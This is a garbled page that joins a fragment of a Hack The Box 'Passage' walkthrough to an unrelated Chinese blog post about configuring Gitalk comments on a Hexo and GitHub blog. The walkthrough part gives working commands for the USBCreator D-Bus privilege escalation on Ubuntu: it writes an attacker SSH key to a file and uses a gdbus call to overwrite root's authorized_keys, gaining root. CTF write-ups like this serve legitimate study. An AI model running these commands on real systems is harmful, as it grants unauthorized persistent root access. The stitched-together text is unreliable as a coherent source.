┌──(root💀kali)-[~/Desktop/hackthebox/Linux/passage] |
After some enumeration from process list, we discover d-bus usbcreator is vulnerable to privilege escalation
USBCreator D-Bus Privilege Escalation in Ubuntu Desktop
We can directly overwrite arbitary files on the file system as root.
Generate our own ssh key and write it to a file called ssh_key
nadav@passage:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuSKqfg/WNLTFhnw+oY9nBwgoBZm4pRY0ZJHBykTQ9tU2XAR2AE1Hqzkqho7D1/b1sfSLOM1h53vxHzMewMO+xGxQ4n3xdoQmHy+BUJ8igkFlG630Jbu6AOJPU2vigmqr9rxdPSZCk5443tp8p4se2C9k7mOoYNZtRsHTuvq4uHOCOvlIaehIGDiI2zoatklvWdQ4dUDERM4gKo5U4VJ05DteQydkQuBKRTx4zYnO0+Tepkk424Q6aCaalwTfjFJTpEYRMLQrK6sGcijDJL2U/gHIjah3o8bR6aA5jy40P+3mFwMTW2lKAz+dhuyrtrBkvbiDeyrXBxAiDq/G5aiMTBVQA9vrfl0fpUGA2gY8/VqcuJ0cKWhSc3pzLzHO8dnElQD7+VCnJqRsxKjRMngJ5zJmyoIF/DRQZ2klnnW1chrFhi+kmegJuiQACjQqMiG8xgFJqJqy/jKbMMhNoul1y21Dx3de/K4c1LBsvYd0OGeckbLk7KDbxQ0snnVzKLDU= ikonw" > ssh_key |
Next called the dbus to overwrite to root’s authorized_keys
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/ssh_key /root/.ssh/authorized_keys true |
and we got root
┌──(root💀kali)-[~/.ssh] |
因为无聊,想采用更花里胡哨的博客,决定用了hexo+github的配置。
期间在disqus和gitalk之间选择了 gitalk,因为后者在国内比disqus能更快的运行。
在使用gitalk中也是遇到了些许问题。关于如何安装gitalk我就不多说了。
重点是config 文件里配置的问题
gitalk: # gitalk. https://gitalk.github.io/ |
owner跟admin 填写github的用户名
repo填写的是你博客repo的名字 而不是网址(假如你正在使用域名的话)
其实切记你的博客的repo一定要设置为公共,如果设置为私有,gitalk将无法访问。
(我在这里转了1个多小时 哭….)